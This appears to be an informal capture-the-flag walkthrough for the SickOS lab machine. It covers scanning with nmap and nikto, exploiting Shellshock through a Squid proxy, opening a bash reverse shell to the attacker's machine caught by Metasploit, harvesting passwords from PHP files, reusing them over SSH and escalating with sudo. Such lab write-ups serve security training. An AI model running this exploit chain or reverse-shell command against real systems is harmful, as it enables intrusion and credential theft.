____________For Sick_OS_____________

Do as usual: start the sick operating system, go on your kali linux machine, type “netdiscover -i eth0 (if yours is eth0, it can be eth1,,, type iwconfig to check it).   
- Check which ports are available, opened in that Sick_OS machine using nmap. Type: “nmap -A ip_addrOf_it “, its ip found while running netdiscover. 
-Notice the port 3128/tcp using http-proxy Squid …,,, it’s important to us.
-Open up a new terminal, and use “nikto” to make a scan for checking if exist some vulnerabilities. Type:
nikto -h ip_addr_of_SickOS --useproxy ip_addr_of_SickOS_again:3128,, eg: nikto -h 192… --useproxy 192…:3128, then press enter.
-In the result, check for something like “/cgi-bin/status: site appears vulnerable to the ‘shellshock’…” When you see that (the cgi-bin/status), that means it allows remote code execution.
-So thus, let’s try to input some commands in a terminal:
curl -v --proxy ip_addr_of_SickOS:3128 http://ip_addr_of_SickOS/cgi-bin/status -H “Referer: () { test;}; echo ‘Content-Type: text/plain’; echo; echo; /usr/bin/id; exit”, and press enter.
-Let’s create a network socket over port 4444 on kali linux, using the command above with a slightly difference:
Curl -v --proxy 192.168.blablabla:3128 http://192.168.blablabla/cgi-bin/status -H “Referer: () { test;}; echo ‘Content-Type: text/plain’; echo; echo; /bin/bash -i >& /dev/tcp/IP_addr_of_your_kali/4444 0>&1”,,, you should press enter, but not yet. Before pressing “enter”, open up another terminal and run metasploit “msfconsole”, and type:
1) “use multi/handler”, press enter. 2) “set LPORT 4444”, enter 3) you can check the options by typing “show options”, 4) “set payload linux/x86//shell/reverse_tcp”, press enter, then “run” or “exploit”, Enter.
Now, go back to your previous terminal and press enter.
-Now, input this command in the waiting terminal of msfconsole: python -c ‘import pty; pty.spawn(“/bin/bash”)’, and press enter.
-Now you are in the /usr/lib/cgi-bin$ directory via www-data@SickOS privilege. Type: cat /etc/passwd, then press enter.
-It will prompt you a bunch of users, account before the (:x), usually considered as “users”. The following command is a “find” command that is mainly used to grab password or search password in files with .php extension. Type in the “www-data@SickOs:/usr/lib/cgi-bin$” terminal: find / -maxdepth 4 -name *.php -type f 2>/dev/null | xargs grep -C 3 -I pass,,, then press enter.
-You will find some databases credendentials. So try them in a new terminal using “ssh” command. “Ssh sickos@192.IP_addr_of_sickOS”, enter
_Bravoooooo !!! We are now in, but we are not as root.  One of the easiest ways to escalate the privilege is by using “sudo su”, enter, and type that password. Now, you can just do: cd /root, enter,, then “ls”, then “cat any_text_file”, enter.
___________________________________